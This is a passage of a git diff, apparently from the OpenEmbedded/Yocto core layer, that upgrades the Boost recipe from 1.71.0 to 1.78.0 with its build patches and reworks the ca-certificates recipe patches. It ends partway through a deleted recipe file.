+ CC="${BUILD_CC}" CFLAGS="${BUILD_CFLAGS}" ./bootstrap.sh --with-bjam=b2 --with-toolset=gcc
# Boost can't be trusted to find Python on it's own, so remove any mention
# of it from the boost configuration
@@ -180,8 +190,9 @@ do_configure() {
}
do_compile() {
- rm -rf ${S}/${TARGET_SYS}
- bjam ${BJAM_OPTS} --prefix=${prefix} \
+ cd ${S}
+ b2 ${BJAM_OPTS} \
+ --prefix=${prefix} \
--exec-prefix=${exec_prefix} \
--libdir=${libdir} \
--includedir=${includedir} \
@@ -189,7 +200,8 @@ do_compile() {
}
do_install() {
- bjam ${BJAM_OPTS} \
+ cd ${S}
+ b2 ${BJAM_OPTS} \
--libdir=${D}${libdir} \
--includedir=${D}${includedir} \
install
@@ -202,6 +214,11 @@ do_install() {
fi
done
+ # Cmake files reference full paths to image
+ find ${D}${libdir}/cmake -type f | \
+ grep 'cmake$' | \
+ xargs -n 1 sed -e 's,${D}${libdir}/cmake,${libdir}/cmake,' -i
+
}
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/boost/boost/0001-Apply-boost-1.62.0-no-forced-flags.patch.patch b/meta/recipes-support/boost/boost/0001-Apply-boost-1.62.0-no-forced-flags.patch.patch
deleted file mode 100644
index 169906344f..0000000000
--- a/meta/recipes-support/boost/boost/0001-Apply-boost-1.62.0-no-forced-flags.patch.patch
+++ /dev/null
@@ -1,100 +0,0 @@
-From 8845a786598f1d9e83aa1b7d2966b0d1eb765ba0 Mon Sep 17 00:00:00 2001
-From: Christopher Larson <chris_larson@mentor.com>
-Date: Tue, 13 Dec 2016 10:14:31 -0700
-Subject: [PATCH 1/3] Apply boost-1.62.0-no-forced-flags.patch
-
-Upstream-Status: Inappropriate
-Signed-off-by: Christopher Larson <chris_larson@mentor.com>
----
- libs/log/build/Jamfile.v2 | 4 ++--
- libs/log/config/x86-ext/Jamfile.jam | 16 ++++++++--------
- libs/log/src/dump_avx2.cpp | 4 ++++
- libs/log/src/dump_ssse3.cpp | 4 ++++
- 4 files changed, 18 insertions(+), 10 deletions(-)
-
-diff --git a/libs/log/build/Jamfile.v2 b/libs/log/build/Jamfile.v2
-index 4abbdbc..b3016fc 100644
---- a/libs/log/build/Jamfile.v2
-+++ b/libs/log/build/Jamfile.v2
-@@ -373,7 +373,7 @@ rule avx2-targets-cond ( properties * )
- }
- else if <toolset>clang in $(properties)
- {
-- result = <cxxflags>"-mavx -mavx2" ;
-+ result = <cxxflags> ;
- }
- else if <toolset>intel in $(properties)
- {
-@@ -383,7 +383,7 @@ rule avx2-targets-cond ( properties * )
- }
- else
- {
-- result = <cxxflags>"-xCORE-AVX2 -fabi-version=0" ;
-+ result = <cxxflags>"-fabi-version=0" ;
- }
- }
- else if <toolset>msvc in $(properties)
-diff --git a/libs/log/config/x86-ext/Jamfile.jam b/libs/log/config/x86-ext/Jamfile.jam
-index 0e9695a..dcc394d 100644
---- a/libs/log/config/x86-ext/Jamfile.jam
-+++ b/libs/log/config/x86-ext/Jamfile.jam
-@@ -15,19 +15,19 @@ project /boost/log/x86-extensions
-
- obj ssse3 : ssse3.cpp
- :
-- <toolset>gcc:<cxxflags>"-msse -msse2 -msse3 -mssse3"
-- <toolset>clang:<cxxflags>"-msse -msse2 -msse3 -mssse3"
-- <toolset>intel-linux:<cxxflags>"-xSSSE3"
-- <toolset>intel-darwin:<cxxflags>"-xSSSE3"
-+ <toolset>gcc:<cxxflags>
-+ <toolset>clang:<cxxflags>
-+ <toolset>intel-linux:<cxxflags>
-+ <toolset>intel-darwin:<cxxflags>
- <toolset>intel-win:<cxxflags>"/QxSSSE3"
- ;
-
- obj avx2 : avx2.cpp
- :
-- <toolset>gcc:<cxxflags>"-mavx -mavx2 -fabi-version=0"
-- <toolset>clang:<cxxflags>"-mavx -mavx2"
-- <toolset>intel-linux:<cxxflags>"-xCORE-AVX2 -fabi-version=0"
-- <toolset>intel-darwin:<cxxflags>"-xCORE-AVX2 -fabi-version=0"
-+ <toolset>gcc:<cxxflags>"-fabi-version=0"
-+ <toolset>clang:<cxxflags>
-+ <toolset>intel-linux:<cxxflags>"-fabi-version=0"
-+ <toolset>intel-darwin:<cxxflags>"-fabi-version=0"
- <toolset>intel-win:<cxxflags>"/arch:CORE-AVX2"
- <toolset>msvc:<cxxflags>"/arch:AVX"
- ;
-diff --git a/libs/log/src/dump_avx2.cpp b/libs/log/src/dump_avx2.cpp
-index 4ab1250..610fc6d 100644
---- a/libs/log/src/dump_avx2.cpp
-+++ b/libs/log/src/dump_avx2.cpp
-@@ -22,6 +22,10 @@
- #include <boost/cstdint.hpp>
- #include <boost/log/detail/header.hpp>
-
-+#if !defined(__AVX2__)
-+#error "AVX2 Unsupported!"
-+#endif
-+
- #if defined(__x86_64) || defined(__x86_64__) || \
- defined(__amd64__) || defined(__amd64) || \
- defined(_M_X64)
-diff --git a/libs/log/src/dump_ssse3.cpp b/libs/log/src/dump_ssse3.cpp
-index 1325b49..60d4112 100644
---- a/libs/log/src/dump_ssse3.cpp
-+++ b/libs/log/src/dump_ssse3.cpp
-@@ -22,6 +22,10 @@
- #include <boost/cstdint.hpp>
- #include <boost/log/detail/header.hpp>
-
-+#if !defined(__SSSE3__)
-+#error "SSSE3 Unsupported!"
-+#endif
-+
- #if defined(__x86_64) || defined(__x86_64__) || \
- defined(__amd64__) || defined(__amd64) || \
- defined(_M_X64)
---
-2.8.0
diff --git a/meta/recipes-support/boost/boost/0001-Don-t-set-up-arch-instruction-set-flags-we-do-that-o.patch b/meta/recipes-support/boost/boost/0001-Don-t-set-up-arch-instruction-set-flags-we-do-that-o.patch
index 68d6e6417f..67d5dff125 100644
--- a/meta/recipes-support/boost/boost/0001-Don-t-set-up-arch-instruction-set-flags-we-do-that-o.patch
+++ b/meta/recipes-support/boost/boost/0001-Don-t-set-up-arch-instruction-set-flags-we-do-that-o.patch
@@ -1,21 +1,23 @@
-From f4d3fad43d67808d71325ba0df1457555b9a0086 Mon Sep 17 00:00:00 2001
+From 4d2a8fc8117e56bc283349e5f7f889ebbfc55c71 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Tue, 18 Dec 2018 15:42:57 +0100
-Subject: [PATCH] Don't set up arch/instruction-set flags, we do that ourselves
+Subject: [PATCH] Don't set up arch/instruction-set flags, we do that
+
+ourselves
Upstream-Status: Inappropriate
Signed-off-by: Christopher Larson <chris_larson@mentor.com>
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
---
- tools/build/src/tools/gcc.jam | 132 ----------------------------------
- 1 file changed, 132 deletions(-)
+ tools/build/src/tools/gcc.jam | 144 ----------------------------------
+ 1 file changed, 144 deletions(-)
diff --git a/tools/build/src/tools/gcc.jam b/tools/build/src/tools/gcc.jam
-index b9bb9cf2a..c7e3cf3fe 100644
+index 47a113223..d77525724 100644
--- a/tools/build/src/tools/gcc.jam
+++ b/tools/build/src/tools/gcc.jam
-@@ -1180,135 +1180,3 @@ local rule cpu-flags ( toolset variable : architecture : instruction-set + :
+@@ -1122,147 +1122,3 @@ local rule cpu-flags ( toolset variable : architecture : instruction-set + :
<architecture>$(architecture)/<instruction-set>$(instruction-set)
: $(values) ;
}
@@ -65,7 +67,11 @@ index b9bb9cf2a..c7e3cf3fe 100644
-cpu-flags gcc OPTIONS : x86 : skylake : -march=skylake ;
-cpu-flags gcc OPTIONS : x86 : skylake-avx512 : -march=skylake-avx512 ;
-cpu-flags gcc OPTIONS : x86 : cannonlake : -march=skylake-avx512 -mavx512vbmi -mavx512ifma -msha ;
--cpu-flags gcc OPTIONS : x86 : icelake : -march=icelake ;
+-cpu-flags gcc OPTIONS : x86 : icelake-client : -march=icelake-client ;
+-cpu-flags gcc OPTIONS : x86 : icelake-server : -march=icelake-server ;
+-cpu-flags gcc OPTIONS : x86 : cascadelake : -march=skylake-avx512 -mavx512vnni ;
+-cpu-flags gcc OPTIONS : x86 : cooperlake : -march=cooperlake ;
+-cpu-flags gcc OPTIONS : x86 : tigerlake : -march=tigerlake ;
-cpu-flags gcc OPTIONS : x86 : k6 : -march=k6 ;
-cpu-flags gcc OPTIONS : x86 : k6-2 : -march=k6-2 ;
-cpu-flags gcc OPTIONS : x86 : k6-3 : -march=k6-3 ;
@@ -91,10 +97,12 @@ index b9bb9cf2a..c7e3cf3fe 100644
-cpu-flags gcc OPTIONS : x86 : btver1 : -march=btver1 ;
-cpu-flags gcc OPTIONS : x86 : btver2 : -march=btver2 ;
-cpu-flags gcc OPTIONS : x86 : znver1 : -march=znver1 ;
+-cpu-flags gcc OPTIONS : x86 : znver2 : -march=znver2 ;
-cpu-flags gcc OPTIONS : x86 : winchip-c6 : -march=winchip-c6 ;
-cpu-flags gcc OPTIONS : x86 : winchip2 : -march=winchip2 ;
-cpu-flags gcc OPTIONS : x86 : c3 : -march=c3 ;
-cpu-flags gcc OPTIONS : x86 : c3-2 : -march=c3-2 ;
+-cpu-flags gcc OPTIONS : x86 : c7 : -march=c7 ;
-##
-cpu-flags gcc OPTIONS : x86 : atom : -march=atom ;
-# Sparc
@@ -149,5 +157,11 @@ index b9bb9cf2a..c7e3cf3fe 100644
-cpu-flags gcc OPTIONS : s390x : zEC12 : -march=zEC12 ;
-cpu-flags gcc OPTIONS : s390x : z13 : -march=z13 ;
-cpu-flags gcc OPTIONS : s390x : z14 : -march=z14 ;
+-cpu-flags gcc OPTIONS : s390x : z15 : -march=z15 ;
+-# ARM
+-cpu-flags gcc OPTIONS : arm : cortex-a9+vfpv3 : -mcpu=cortex-a9 -mfpu=vfpv3 -mfloat-abi=hard ;
+-cpu-flags gcc OPTIONS : arm : cortex-a53 : -mcpu=cortex-a53 ;
+-cpu-flags gcc OPTIONS : arm : cortex-r5 : -mcpu=cortex-r5 ;
+-cpu-flags gcc OPTIONS : arm : cortex-r5+vfpv3-d16 : -mcpu=cortex-r5 -mfpu=vfpv3-d16 -mfloat-abi=hard ;
-# AIX variant of RS/6000 & PowerPC
-toolset.flags gcc AROPTIONS <address-model>64/<target-os>aix : "-X64" ;
diff --git a/meta/recipes-support/boost/boost/0001-dont-setup-compiler-flags-m32-m64.patch b/meta/recipes-support/boost/boost/0001-dont-setup-compiler-flags-m32-m64.patch
new file mode 100644
index 0000000000..78b19225d4
--- /dev/null
+++ b/meta/recipes-support/boost/boost/0001-dont-setup-compiler-flags-m32-m64.patch
@@ -0,0 +1,42 @@
+From 59402e3a61d14eb7ce8c2019ea1a87ad4bd28605 Mon Sep 17 00:00:00 2001
+From: Anuj Mittal <anuj.mittal@intel.com>
+Date: Thu, 14 Nov 2019 10:13:53 +0800
+Subject: [PATCH] dont setup compiler flags -m32/-m64
+
+We don't want these to be setup by boost as we pass our own flags.
+
+Upstream-Status: Inappropriate [OE-specific]
+
+Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
+---
+ tools/build/src/tools/gcc.jam | 14 --------------
+ 1 file changed, 14 deletions(-)
+
+diff --git a/tools/build/src/tools/gcc.jam b/tools/build/src/tools/gcc.jam
+index c7e3cf3..24486e0 100644
+--- a/tools/build/src/tools/gcc.jam
++++ b/tools/build/src/tools/gcc.jam
+@@ -430,20 +430,6 @@ local rule compile-link-flags ( * )
+ }
+
+ {
+- # Handle address-model
+- compile-link-flags <target-os>aix/<address-model>32 : -maix32 ;
+- compile-link-flags <target-os>aix/<address-model>64 : -maix64 ;
+-
+- compile-link-flags <target-os>hpux/<address-model>32 : -milp32 ;
+- compile-link-flags <target-os>hpux/<address-model>64 : -mlp64 ;
+-
+- local generic-os = [ set.difference $(all-os) : aix hpux ] ;
+- local arch = power sparc x86 ;
+- compile-link-flags <target-os>$(generic-os)/<architecture>$(arch)/<address-model>32 : -m32 ;
+- compile-link-flags <target-os>$(generic-os)/<architecture>$(arch)/<address-model>64 : -m64 ;
+-}
+-
+-{
+ # Handle threading
+ local rule threading-flags ( * )
+ {
+--
+2.7.4
+
diff --git a/meta/recipes-support/boost/boost/0001-futex-fix-build-on-32-bit-architectures-using-64-bit.patch b/meta/recipes-support/boost/boost/0001-futex-fix-build-on-32-bit-architectures-using-64-bit.patch
new file mode 100644
index 0000000000..20dc3ca54e
--- /dev/null
+++ b/meta/recipes-support/boost/boost/0001-futex-fix-build-on-32-bit-architectures-using-64-bit.patch
@@ -0,0 +1,36 @@
+From b15d8d0754bb545ba10d0cfba8bbfdfb22a62c38 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sun, 20 Feb 2022 22:03:14 -0800
+Subject: [PATCH] futex: fix build on 32-bit architectures using 64-bit time_t
+
+Fix the following build failure on 32-bit architectures using 64-bit
+time_t (e.g. riscv32):
+| ./boost/fiber/detail/futex.hpp:31:23: error: use of undeclared identifier 'SYS_futex'
+| return ::syscall( SYS_futex, addr, op, x, nullptr, nullptr, 0);
+| ^
+| 1 error generated.
+
+Upstream-Status: Submitted [https://github.com/boostorg/fiber/pull/292]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ boost/fiber/detail/futex.hpp | 4 ++++
+ 1 file changed, 4 insertions(+)
+
+diff --git a/boost/fiber/detail/futex.hpp b/boost/fiber/detail/futex.hpp
+index e64bd5990..d0353e9e5 100644
+--- a/boost/fiber/detail/futex.hpp
++++ b/boost/fiber/detail/futex.hpp
+@@ -12,6 +12,10 @@
+
+ #include <boost/fiber/detail/config.hpp>
+
++#ifndef SYS_futex
++#define SYS_futex SYS_futex_time64
++#endif
++
+ #if BOOST_OS_LINUX
+ extern "C" {
+ #include <linux/futex.h>
+--
+2.35.1
+
diff --git a/meta/recipes-support/boost/boost/arm-intrinsics.patch b/meta/recipes-support/boost/boost/arm-intrinsics.patch
deleted file mode 100644
index fe85c69a82..0000000000
--- a/meta/recipes-support/boost/boost/arm-intrinsics.patch
+++ /dev/null
@@ -1,55 +0,0 @@
-Upstream-Status: Backport
-
-8/17/2010 - rebased to 1.44 by Qing He <qing.he@intel.com>
-
-diff --git a/boost/smart_ptr/detail/atomic_count_sync.hpp b/boost/smart_ptr/detail/atomic_count_sync.hpp
-index b6359b5..78b1cc2 100644
---- a/boost/smart_ptr/detail/atomic_count_sync.hpp
-+++ b/boost/smart_ptr/detail/atomic_count_sync.hpp
-@@ -33,17 +33,46 @@ public:
-
- long operator++()
- {
-+#ifdef __ARM_ARCH_7A__
-+ int v1, tmp;
-+ asm volatile ("1: \n\t"
-+ "ldrex %0, %1 \n\t"
-+ "add %0 ,%0, #1 \n\t"
-+ "strex %2, %0, %1 \n\t"
-+ "cmp %2, #0 \n\t"
-+ "bne 1b \n\t"
-+ : "=&r" (v1), "+Q"(value_), "=&r"(tmp)
-+ );
-+#else
- return __sync_add_and_fetch( &value_, 1 );
-+#endif
- }
-
- long operator--()
- {
-+#ifdef __ARM_ARCH_7A__
-+ int v1, tmp;
-+ asm volatile ("1: \n\t"
-+ "ldrex %0, %1 \n\t"
-+ "sub %0 ,%0, #1 \n\t"
-+ "strex %2, %0, %1 \n\t"
-+ "cmp %2, #0 \n\t"
-+ "bne 1b \n\t"
-+ : "=&r" (v1), "+Q"(value_), "=&r"(tmp)
-+ );
-+ return value_;
-+#else
- return __sync_add_and_fetch( &value_, -1 );
-+#endif
- }
-
- operator long() const
- {
-+#if __ARM_ARCH_7A__
-+ return value_;
-+#else
- return __sync_fetch_and_add( &value_, 0 );
-+#endif
- }
-
- private:
diff --git a/meta/recipes-support/boost/boost/de657e01635306085488290ea83de541ec393f8b.patch b/meta/recipes-support/boost/boost/de657e01635306085488290ea83de541ec393f8b.patch
new file mode 100644
index 0000000000..867ec03ba6
--- /dev/null
+++ b/meta/recipes-support/boost/boost/de657e01635306085488290ea83de541ec393f8b.patch
@@ -0,0 +1,30 @@
+From de657e01635306085488290ea83de541ec393f8b Mon Sep 17 00:00:00 2001
+From: Leonardo Neumann <leonardo@neumann.dev.br>
+Date: Mon, 13 Dec 2021 01:07:20 -0300
+Subject: [PATCH] Fix missing sys/stat.h include on musl-based systems
+
+Boost 1.78.0 fails to build on musl-based systems because musl does
+not include sys/stat.h by default.
+
+Fixes #161 ("Boost compiler error")
+Upstream-Status: Submitted [https://github.com/boostorg/interprocess/pull/162]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ include/boost/interprocess/permissions.hpp | 4 ++++
+ 1 file changed, 4 insertions(+)
+
+diff --git a/boost/interprocess/permissions.hpp b/boost/interprocess/permissions.hpp
+index ab55411e..0b21a685 100644
+--- a/boost/interprocess/permissions.hpp
++++ b/boost/interprocess/permissions.hpp
+@@ -29,6 +29,10 @@
+
+ #include <boost/interprocess/detail/win32_api.hpp>
+
++#else
++
++#include <sys/stat.h>
++
+ #endif
+
+ #endif //#ifndef BOOST_INTERPROCESS_DOXYGEN_INVOKED
diff --git a/meta/recipes-support/boost/boost_1.71.0.bb b/meta/recipes-support/boost/boost_1.71.0.bb
deleted file mode 100644
index 324b46f168..0000000000
--- a/meta/recipes-support/boost/boost_1.71.0.bb
+++ /dev/null
@@ -1,9 +0,0 @@
-require boost-${PV}.inc
-require boost.inc
-
-SRC_URI += "file://arm-intrinsics.patch \
- file://boost-CVE-2012-2677.patch \
- file://boost-math-disable-pch-for-gcc.patch \
- file://0001-Apply-boost-1.62.0-no-forced-flags.patch.patch \
- file://0001-Don-t-set-up-arch-instruction-set-flags-we-do-that-o.patch \
- "
diff --git a/meta/recipes-support/boost/boost_1.78.0.bb b/meta/recipes-support/boost/boost_1.78.0.bb
new file mode 100644
index 0000000000..58be9dcf12
--- /dev/null
+++ b/meta/recipes-support/boost/boost_1.78.0.bb
@@ -0,0 +1,10 @@
+require boost-${PV}.inc
+require boost.inc
+
+SRC_URI += "file://boost-CVE-2012-2677.patch \
+ file://boost-math-disable-pch-for-gcc.patch \
+ file://0001-Don-t-set-up-arch-instruction-set-flags-we-do-that-o.patch \
+ file://0001-dont-setup-compiler-flags-m32-m64.patch \
+ file://de657e01635306085488290ea83de541ec393f8b.patch \
+ file://0001-futex-fix-build-on-32-bit-architectures-using-64-bit.patch \
+ "
diff --git a/meta/recipes-support/boost/files/0001-Build-debug-version-of-bjam.patch b/meta/recipes-support/boost/files/0001-Build-debug-version-of-bjam.patch
deleted file mode 100644
index c6dcee915e..0000000000
--- a/meta/recipes-support/boost/files/0001-Build-debug-version-of-bjam.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-From 19c117c3d1388654da484e26afb3fb6c3e4181a9 Mon Sep 17 00:00:00 2001
-From: Daniel Klauer <daniel.klauer@gin.de>
-Date: Tue, 30 Jul 2019 11:39:09 +0200
-Subject: [PATCH] Build debug version of bjam
-
-bjam is stripped by default, this causes QA warning while stripping it
-from do_populate_sysroot():
-
- WARNING: File '.../tmp/sysroots/x86_64-linux/usr/bin/bjam' \
- from bjam-native was already stripped, \
- this will prevent future debugging!
-
-The JAM scripts allow to build unstripped version with '--debug'. Just
-build and install the bjam.debug to stop bjam from being stripped in
-compile step.
-
-Upstream-Status: Inappropriate [configuration]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- bootstrap.sh | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/bootstrap.sh b/bootstrap.sh
-index ca0b08d58..87f38dcf2 100755
---- a/bootstrap.sh
-+++ b/bootstrap.sh
-@@ -223,7 +223,7 @@ rm -f config.log
- if test "x$BJAM" = x; then
- $ECHO -n "Building Boost.Build engine with toolset $TOOLSET... "
- pwd=`pwd`
-- (cd "$my_dir/tools/build/src/engine" && ./build.sh "$TOOLSET") > bootstrap.log 2>&1
-+ (cd "$my_dir/tools/build/src/engine" && ./build.sh "$TOOLSET" --debug) > bootstrap.log 2>&1
- if [ $? -ne 0 ]; then
- echo
- echo "Failed to build Boost.Build build engine"
---
-2.17.1
-
diff --git a/meta/recipes-support/boost/files/0001-build.sh-use-DNDEBUG-also-in-debug-builds.patch b/meta/recipes-support/boost/files/0001-build.sh-use-DNDEBUG-also-in-debug-builds.patch
deleted file mode 100644
index 4c6ef2ed84..0000000000
--- a/meta/recipes-support/boost/files/0001-build.sh-use-DNDEBUG-also-in-debug-builds.patch
+++ /dev/null
@@ -1,27 +0,0 @@
-From 2afd025997a57794ce24e07e914b461dfea6ba5f Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Mon, 26 Aug 2019 16:04:16 +0200
-Subject: [PATCH] build.sh: use -DNDEBUG also in debug builds
-
-Without it, there is a significant performance regression
-when running 'bjam install'.
-
-Upstream-Status: Inappropriate [configuration]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- tools/build/src/engine/build.sh | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/tools/build/src/engine/build.sh b/tools/build/src/engine/build.sh
-index a1e4cd335..64e0a4c80 100755
---- a/tools/build/src/engine/build.sh
-+++ b/tools/build/src/engine/build.sh
-@@ -436,7 +436,7 @@ case $B2_OS in
- ;;
- esac
-
--if check_debug_build "$@" ; then B2_CXXFLAGS="${B2_CXXFLAGS_DEBUG}"
-+if check_debug_build "$@" ; then B2_CXXFLAGS="${B2_CXXFLAGS_DEBUG} -DNDEBUG"
- else B2_CXXFLAGS="${B2_CXXFLAGS_RELEASE} -DNDEBUG"
- fi
- echo_run ${B2_CXX} ${CXXFLAGS} ${B2_CXXFLAGS} ${B2_SOURCES} -o b2
diff --git a/meta/recipes-support/ca-certificates/ca-certificates/0001-Revert-mozilla-certdata2pem.py-print-a-warning-for-e.patch b/meta/recipes-support/ca-certificates/ca-certificates/0001-Revert-mozilla-certdata2pem.py-print-a-warning-for-e.patch
new file mode 100644
index 0000000000..5c4a32f526
--- /dev/null
+++ b/meta/recipes-support/ca-certificates/ca-certificates/0001-Revert-mozilla-certdata2pem.py-print-a-warning-for-e.patch
@@ -0,0 +1,80 @@
+From cb43ec15b700b25f3c4fe44043a1a021aaf5b768 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Mon, 18 Oct 2021 12:05:49 +0200
+Subject: [PATCH] Revert "mozilla/certdata2pem.py: print a warning for expired
+ certificates."
+
+This avoids a dependency on python3-cryptography, and only checks
+for expired certs (which is upstream concern, but not ours).
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ debian/changelog | 1 -
+ debian/control | 2 +-
+ mozilla/certdata2pem.py | 11 -----------
+ 3 files changed, 1 insertion(+), 13 deletions(-)
+
+diff --git a/debian/changelog b/debian/changelog
+index 531e4d0..4006509 100644
+--- a/debian/changelog
++++ b/debian/changelog
+@@ -37,7 +37,6 @@ ca-certificates (20211004) unstable; urgency=low
+ - "Trustis FPS Root CA"
+ - "Staat der Nederlanden Root CA - G3"
+ * Blacklist expired root certificate "DST Root CA X3" (closes: #995432)
+- * mozilla/certdata2pem.py: print a warning for expired certificates.
+
+ -- Julien Cristau <jcristau@debian.org> Thu, 07 Oct 2021 17:12:47 +0200
+
+diff --git a/debian/control b/debian/control
+index 4434b7a..5c6ba24 100644
+--- a/debian/control
++++ b/debian/control
+@@ -3,7 +3,7 @@ Section: misc
+ Priority: optional
+ Maintainer: Julien Cristau <jcristau@debian.org>
+ Build-Depends: debhelper-compat (= 13), po-debconf
+-Build-Depends-Indep: python3, openssl, python3-cryptography
++Build-Depends-Indep: python3, openssl
+ Standards-Version: 4.5.0.2
+ Vcs-Git: https://salsa.debian.org/debian/ca-certificates.git
+ Vcs-Browser: https://salsa.debian.org/debian/ca-certificates
+diff --git a/mozilla/certdata2pem.py b/mozilla/certdata2pem.py
+index ede23d4..7d796f1 100644
+--- a/mozilla/certdata2pem.py
++++ b/mozilla/certdata2pem.py
+@@ -21,16 +21,12 @@
+ # USA.
+
+ import base64
+-import datetime
+ import os.path
+ import re
+ import sys
+ import textwrap
+ import io
+
+-from cryptography import x509
+-
+-
+ objects = []
+
+ # Dirty file parser.
+@@ -121,13 +117,6 @@ for obj in objects:
+ if obj['CKA_CLASS'] == 'CKO_CERTIFICATE':
+ if not obj['CKA_LABEL'] in trust or not trust[obj['CKA_LABEL']]:
+ continue
+-
+- cert = x509.load_der_x509_certificate(obj['CKA_VALUE'])
+- if cert.not_valid_after < datetime.datetime.now():
+- print('!'*74)
+- print('Trusted but expired certificate found: %s' % obj['CKA_LABEL'])
+- print('!'*74)
+-
+ bname = obj['CKA_LABEL'][1:-1].replace('/', '_')\
+ .replace(' ', '_')\
+ .replace('(', '=')\
+--
+2.20.1
+
diff --git a/meta/recipes-support/ca-certificates/ca-certificates/0001-certdata2pem.py-use-python3.patch b/meta/recipes-support/ca-certificates/ca-certificates/0001-certdata2pem.py-use-python3.patch
deleted file mode 100644
index aa2c85ff43..0000000000
--- a/meta/recipes-support/ca-certificates/ca-certificates/0001-certdata2pem.py-use-python3.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From b6d18ca77f131cdcaa10d0eaa9d303399767edf6 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Wed, 28 Aug 2019 19:18:14 +0200
-Subject: [PATCH] certdata2pem.py: use python3
-
-Comments in that file imply it is already py3 compatible.
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- mozilla/Makefile | 2 +-
- mozilla/certdata2pem.py | 2 +-
- 2 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/mozilla/Makefile b/mozilla/Makefile
-index 6f46118..f98877c 100644
---- a/mozilla/Makefile
-+++ b/mozilla/Makefile
-@@ -3,7 +3,7 @@
- #
-
- all:
-- python certdata2pem.py
-+ python3 certdata2pem.py
-
- clean:
- -rm -f *.crt
-diff --git a/mozilla/certdata2pem.py b/mozilla/certdata2pem.py
-index 0b02b2a..7d796f1 100644
---- a/mozilla/certdata2pem.py
-+++ b/mozilla/certdata2pem.py
-@@ -1,4 +1,4 @@
--#!/usr/bin/python
-+#!/usr/bin/python3
- # vim:set et sw=4:
- #
- # certdata2pem.py - splits certdata.txt into multiple files
diff --git a/meta/recipes-support/ca-certificates/ca-certificates/sbindir.patch b/meta/recipes-support/ca-certificates/ca-certificates/sbindir.patch
deleted file mode 100644
index a113fa8b15..0000000000
--- a/meta/recipes-support/ca-certificates/ca-certificates/sbindir.patch
+++ /dev/null
@@ -1,20 +0,0 @@
-Upstream-Status: Pending
-
-Let us alter the install destination of the script via SBINDIR
-
---- ca-certificates-20130119.orig/sbin/Makefile
-+++ ca-certificates-20130119/sbin/Makefile
-@@ -3,9 +3,12 @@
- #
- #
-
-+SBINDIR = /usr/sbin
-+
- all:
-
- clean:
-
- install:
-- install -m755 update-ca-certificates $(DESTDIR)/usr/sbin/
-+ install -d $(DESTDIR)$(SBINDIR)
-+ install -m755 update-ca-certificates $(DESTDIR)$(SBINDIR)/
diff --git a/meta/recipes-support/ca-certificates/ca-certificates/update-ca-certificates-support-Toybox.patch b/meta/recipes-support/ca-certificates/ca-certificates/update-ca-certificates-support-Toybox.patch
deleted file mode 100644
index 6e2171f758..0000000000
--- a/meta/recipes-support/ca-certificates/ca-certificates/update-ca-certificates-support-Toybox.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From 30378026d136efa779732e3f6664e2ecf461e458 Mon Sep 17 00:00:00 2001
-From: Patrick Ohly <patrick.ohly@intel.com>
-Date: Thu, 17 Mar 2016 12:38:09 +0100
-Subject: [PATCH] update-ca-certificates: support Toybox
-
-"mktemp -t" is deprecated and does not work when using Toybox. Replace
-with something that works also with Toybox.
-
-Upstream-Status: Pending
-
-Signed-off-by: Patrick Ohly <patrick.ohly@intel.com>
----
- sbin/update-ca-certificates | 6 +++---
- 1 file changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/sbin/update-ca-certificates b/sbin/update-ca-certificates
-index 79c41bb..ae9e3f1 100755
---- a/sbin/update-ca-certificates
-+++ b/sbin/update-ca-certificates
-@@ -113,9 +113,9 @@ trap cleanup 0
-
- # Helper files. (Some of them are not simple arrays because we spawn
- # subshells later on.)
--TEMPBUNDLE="$(mktemp -t "${CERTBUNDLE}.tmp.XXXXXX")"
--ADDED="$(mktemp -t "ca-certificates.tmp.XXXXXX")"
--REMOVED="$(mktemp -t "ca-certificates.tmp.XXXXXX")"
-+TEMPBUNDLE="$(mktemp -p${TMPDIR:-/tmp} "${CERTBUNDLE}.tmp.XXXXXX")"
-+ADDED="$(mktemp -p${TMPDIR:-/tmp} "ca-certificates.tmp.XXXXXX")"
-+REMOVED="$(mktemp -p${TMPDIR:-/tmp} "ca-certificates.tmp.XXXXXX")"
-
- # Adds a certificate to the list of trusted ones. This includes a symlink
- # in /etc/ssl/certs to the certificate file and its inclusion into the
---
-2.1.4
diff --git a/meta/recipes-support/ca-certificates/ca-certificates_20190110.bb b/meta/recipes-support/ca-certificates/ca-certificates_20190110.bb
deleted file mode 100644
index ce3cb217a1..0000000000
--- a/meta/recipes-support/ca-certificates/ca-certificates_20190110.bb
+++ /dev/null
@@ -1,90 +0,0 @@
-SUMMARY = "Common CA certificates"
-DESCRIPTION = "This package includes PEM files of CA certificates to allow \
-SSL-based applications to check for the authenticity of SSL connections. \
-This derived from Debian's CA Certificates."
-HOMEPAGE = "http://packages.debian.org/sid/ca-certificates"
-SECTION = "misc"
-LICENSE = "GPL-2.0+ & MPL-2.0"
-LIC_FILES_CHKSUM = "file://debian/copyright;md5=aeb420429b1659507e0a5a1b123e8308"
-
-# This is needed to ensure we can run the postinst at image creation time
-DEPENDS = ""
-DEPENDS_class-native = "openssl-native"
-DEPENDS_class-nativesdk = "openssl-native"
-# Need rehash from openssl and run-parts from debianutils
